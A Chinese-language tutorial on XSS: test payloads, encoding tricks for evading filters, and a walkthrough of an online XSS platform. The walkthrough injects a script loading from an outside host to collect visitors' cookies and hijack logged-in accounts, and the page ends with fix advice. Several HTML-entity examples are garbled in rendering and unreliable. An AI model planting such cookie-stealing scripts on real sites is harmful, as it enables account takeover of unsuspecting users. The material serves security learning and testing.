1. 程式人生 > 實用技巧 >XSS進階筆記 & XSS平臺使用

XSS進階筆記 & XSS平臺使用

XSS常用語句及編碼繞過

XSS常用的測試語句有:

  • <script>alert(1)</script>
  • <img src=x onerror=alert(1)>
  • <svg onload=alert(1)>
  • <a href=javascript:alert(1)>
    常見的XSS的繞過編碼有JS編碼、HTML實體編碼和URL編碼

JS編碼

JS提供了四種字元編碼的策略,如下所示。

  • 三個八進位制數字,如果個數不夠,在前面補0,例如“e” 的編碼為“\145” ;
  • 兩個十六進位制數字,如果個數不夠,在前面補0,例如"e" 的編碼為"\x65" ;
  • 四個十六進位制數字,如果個數不夠,在前面補0,例如"e" 的編碼為“\u0065”;
  • 對於一些控制字元,使用特殊的C型別的轉義風格(例如和\r) 。

HTML實體編碼

  • 命名實體:以&開頭,以分號結尾的,例如"<"的編碼是"<" 。
  • 字元編碼:十進位制、十六進位制ASCII碼或Unicode字元編碼,樣式為"&#數值;",例如"<" 可以編碼為 "<" 和"<"

URL編碼

這裡的URL編碼,也是兩次URL全編碼的結果。如果alert被過濾,結果為%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34。
在使用XSS編碼測試時,需要考慮HTML渲染的順序,特別是針對多種編碼組合時,要選擇合適的編碼方式進行測試。

使用XSS平臺測試XSS漏洞

XSS線上平臺
首先在XSS平臺註冊賬並登入,單擊"我的專案”中的“建立” 按鈕,頁面中的名稱和描述是分類的,隨意填寫即可。勾選“預設模組”選項後單擊"下一步”按鈕。這裡不要太多模組都勾選,非常非常容易導致JS報錯,如果報錯,那麼可能你就收不到對方的中招資訊了。儘量只勾選一個或兩個。這裡說明一下,注意上方的紅框,這裡最好是複製上方第一個紅色方框中的內容,例如:
<sCRiPt sRC=//xyl.life/xxxx></sCrIpT> 這個就是專案給你的程式碼,這裡說一下你需要測試的網站是https的網站且你的XSS平臺也支援https那麼你可以把這個程式碼改成 <sCRiPt sRC=https://xyl.life/xxxx></sCrIpT>

這樣。
這裡還要說明一下,其實<sCRiPt sRC=//xyl.life/xxxx></sCrIpT>當網站前面是//的時候,程式碼會自動適配網站,如果對方網站是https的那麼程式碼會自動從https載入,如果對方網站是http的那麼程式碼會從http載入。所以,預設的這種方式是最好的插入方式。頁面上顯示了多種利用程式碼,在實際情況中, 一般會根據HTML原始碼選擇合適的利用程式碼,以此構造瀏覽器能夠執行的程式碼,這裡選擇第一種利用程式碼。

將利用程式碼插入到存在XSS漏洞的URL後,檢視原始碼。發現瀏覽器成功執行XSS的利用程式碼

然後如果對方中招了,那麼你的XSS平臺就會有收到對方的資訊。
回到XSS平臺,可以看到我們已經獲取了資訊,其中包含來源地址、cookie、IP、 瀏覽器等,如果使用者處於登入狀態,可修改cookie並進入該使用者的賬戶。

XSS漏洞修復建議

因為XSS漏洞涉及輸入和輸出兩部分,所以其修復也分為兩種。
●過濾輸入的資料,包括'"<>on* 等非法字元。
●對輸出到頁面的資料進行相應的編碼轉換,包括HTML實體編碼、JavaScript編碼等。